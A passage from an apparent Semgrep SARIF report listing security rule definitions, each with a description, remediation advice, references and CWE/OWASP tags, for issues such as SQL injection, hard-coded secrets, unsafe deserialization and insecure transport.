such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","id":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","name":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"help":{"markdown":"Checks for requests to http and ftp (unencrypted) sites using OpenURI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request)\n - [https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html](https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html)\n","text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"help":{"markdown":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","id":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","name":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"help":{"markdown":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version)\n - [https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm](https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm)\n","text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","id":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","name":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all keys"},"help":{"markdown":"Ensure that the expiration date is set on all keys\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date)\n - [https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags](https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags)\n","text":"Ensure that the expiration date is set on all keys"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection","id":"java.jboss.security.seam-log-injection.seam-log-injection","name":"java.jboss.security.seam-log-injection.seam-log-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.seam-log-injection.seam-log-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"help":{"markdown":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"helpUri":"https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","id":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","name":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","properties":{"precision":"very-high","tags":["CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","id":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","name":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string","id":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","name":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","id":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","name":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","id":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","name":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"help":{"markdown":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging)\n - [https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html](https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html)\n","text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","id":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","name":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli","id":"java.spring.security.jdo-sqli.jdo-sqli","name":"java.spring.security.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","id":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","name":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint","id":"rust.hyper.sql.diesel-taint.diesel-taint","name":"rust.hyper.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","id":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","name":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","id":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","name":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy","id":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","name":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-numpy.pickles-in-numpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","id":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","name":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - 